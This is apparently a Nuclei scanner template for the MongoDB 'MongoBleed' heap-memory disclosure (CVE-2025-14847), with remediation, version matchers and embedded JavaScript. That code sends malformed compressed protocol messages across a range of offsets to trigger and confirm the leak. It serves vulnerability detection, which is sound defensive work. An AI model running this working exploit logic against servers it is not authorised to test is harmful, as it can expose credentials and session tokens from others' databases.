id: CVE-2025-14847 info: name: MongoDB Server - Information Disclosure (MongoBleed) author: pussycat0x,joe-desimone,DhiyaneshDK,Wiz Research severity: high description: | MongoDB Server contained a flaw in the zlib decompression logic where mismatched length fields in compressed protocol headers allowed a read of uninitialized heap memory by an unauthenticated client. impact: | Unauthenticated clients can read uninitialized heap memory, potentially exposing credentials, session tokens, API keys, and other sensitive data. remediation: | Update to versions 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, or 4.4.30. Alternatively, disable zlib compression using snappy,zstd or disabled. reference: - https://jira.mongodb.org/browse/SERVER-115508 - https://github.com/joe-desimone/mongobleed - https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2025-14847 epss-score: 0.83007 epss-percentile: 0.99642 cwe-id: CWE-908 metadata: verified: true max-request: 2 vendor: mongodb product: mongodb shodan-query: product:"MongoDB" fofa-query: protocol="mongodb" tags: cve,cve2025,mongodb,memory-leak,network,js,mongobleed,kev,vkev flow: tcp(1) && javascript(1) tcp: - inputs: - data: 3b0000003c300000ffffffffd40700000000000061646d696e2e24636d640000000000ffffffff14000000106275696c64696e666f000100000000 type: hex host: - "{{Hostname}}" port: 27017 read-size: 2048 matchers-condition: and matchers: - type: word part: raw words: - "version" - "maxBsonObjectSize" condition: and - type: dsl dsl: - "compare_versions(version, '>= 8.2.0') && compare_versions(version, '<= 8.2.2')" - "compare_versions(version, '>= 8.0.0') && compare_versions(version, '<= 8.0.16')" - "compare_versions(version, '>= 7.0.0') && compare_versions(version, '<= 7.0.27')" - "compare_versions(version, '>= 6.0.0') && compare_versions(version, '<= 6.0.26')" - "compare_versions(version, '>= 5.0.0') && compare_versions(version, '<= 5.0.31')" - "compare_versions(version, '>= 4.4.0') && compare_versions(version, '<= 4.4.29')" - "compare_versions(version, '>= 4.2.0') && compare_versions(version, '<= 4.2.25')" - "compare_versions(version, '>= 4.0.0') && compare_versions(version, '<= 4.0.28')" - "compare_versions(version, '>= 3.6.0') && compare_versions(version, '<= 3.6.23')" condition: or extractors: - type: regex name: version part: raw group: 1 regex: - '(?s)version.{0,50}?([0-9]+\.[0-9]+\.[0-9]+)' javascript: - pre-condition: | isPortOpen(Host,Port); code: | const net = require('nuclei/net'); function uint32ToHexLE(value) { const bytes = [ (value & 0xFF).toString(16).padStart(2, '0'), ((value >> 8) & 0xFF).toString(16).padStart(2, '0'), ((value >> 16) & 0xFF).toString(16).padStart(2, '0'), ((value >> 24) & 0xFF).toString(16).padStart(2, '0') ]; return bytes.join(''); } function int32ToHexLE(value) { const unsigned = value >>> 0; return uint32ToHexLE(unsigned); } const staticCompressed = "789c6360000211201648646004520003a60087"; function stringToBytes(str) { const bytes = []; for (let i = 0; i < str.length; i++) { bytes.push(str.charCodeAt(i)); } return bytes; } function findBytePattern(bytes, pattern) { if (pattern.length === 0 || bytes.length < pattern.length) { return -1; } for (let i = 0; i <= bytes.length - pattern.length; i++) { let match = true; for (let j = 0; j < pattern.length; j++) { if (bytes[i + j] !== pattern[j]) { match = false; break; } } if (match) { return i; } } return -1; } function isMongoDBResponse(responseBytes) { if (!responseBytes || responseBytes.length < 16) return false; const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24); return (opcode === 1 || opcode === 2012 || opcode === 2013); } function extractLeaks(responseBytes) { if (!responseBytes || responseBytes.length < 16) { return []; } if (!isMongoDBResponse(responseBytes)) { return []; } const leaks = []; let raw = []; const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24); const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24); if (msgLen < 16 || msgLen > 100000) { return []; } if (opcode === 0) { raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length)); } else if (opcode === 2012) { raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length)); } else { raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length)); } if (raw.length === 0) { return leaks; } const fieldNamePattern = stringToBytes("field name '"); let searchPos = 0; while (true) { const pos = findBytePattern(raw.slice(searchPos), fieldNamePattern); if (pos === -1) break; const actualPos = searchPos + pos + fieldNamePattern.length; let fieldName = ""; for (let i = actualPos; i < raw.length && i < actualPos + 200; i++) { if (raw[i] === 39) break; if (raw[i] >= 32 && raw[i] < 127) { fieldName += String.fromCharCode(raw[i]); } else { break; } } if (fieldName && fieldName !== '?' && fieldName !== 'a' && fieldName !== '$db' && fieldName !== 'ping') { leaks.push(fieldName); } searchPos = actualPos + 1; if (searchPos >= raw.length) break; } const invalidBSONPattern = stringToBytes("InvalidBSON"); const bsonLengthPattern = stringToBytes("bson length"); const hasInvalidBSON = findBytePattern(raw, invalidBSONPattern) !== -1; const hasBsonLength = findBytePattern(raw, bsonLengthPattern) !== -1; if (hasInvalidBSON || hasBsonLength) { if (raw.length > 50) { leaks.push("bson_error_with_leaked_memory"); } } return leaks; } const minOffset = parseInt(MinOffset) || 20; const maxOffset = parseInt(MaxOffset) || 8192; const allOutput = []; for (let docLen = minOffset; docLen < maxOffset; docLen++) { const bufferSize = docLen + 500; let payloadHex = uint32ToHexLE(2013); payloadHex += int32ToHexLE(bufferSize); payloadHex += "02"; payloadHex += staticCompressed; const payloadBytes = payloadHex.length / 2; const messageLength = 16 + payloadBytes; let headerHex = uint32ToHexLE(messageLength); headerHex += uint32ToHexLE(1); headerHex += uint32ToHexLE(0); headerHex += uint32ToHexLE(2012); const fullMessage = headerHex + payloadHex; try { const conn = net.Open('tcp', `${Host}:${Port}`); if (!conn) continue; conn.SetTimeout(10); conn.SendHex(fullMessage); let responseBytes = []; while (true) { const chunk = conn.Recv(2048); if (!chunk || (Array.isArray(chunk) && chunk.length === 0) || (typeof chunk === 'string' && chunk.length === 0)) { break; } const chunkBytes = []; if (Array.isArray(chunk)) { for (let i = 0; i < chunk.length; i++) { const byte = typeof chunk[i] === 'number' ? chunk[i] : parseInt(chunk[i]); if (!isNaN(byte)) chunkBytes.push(byte); } } else if (typeof chunk === 'string') { for (let i = 0; i < chunk.length; i++) { chunkBytes.push(chunk.charCodeAt(i)); } } if (chunkBytes.length > 0) { responseBytes = responseBytes.concat(chunkBytes); } if (responseBytes.length < 4) continue; const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24); if (responseBytes.length >= msgLen) break; } conn.Close(); if (responseBytes.length > 0) { const leaks = extractLeaks(responseBytes); let hasLeaks = false; for (let i = 0; i < leaks.length; i++) { if (leaks[i] && leaks[i].length > 0) { hasLeaks = true; break; } } if (hasLeaks) { allOutput.push(`leak found at offset ${docLen}`); break; } } } catch (e) { } } if (allOutput.length > 0) { allOutput.join('\n') } else { "" } args: Host: "{{Host}}" Port: 27017 MinOffset: 20 MaxOffset: 8192 extractors: - type: dsl dsl: - response # digest: 490a0046304402203456ed50e2a6985173c2d55595ea77f57c3acea55d27d56181e78f59d9bc381402202021c3da997f0a8bad15915da9ad5846cafa1b7dd721f5111bdf6fd743cf31cd:922c64590222798bb761d5b6d8e72950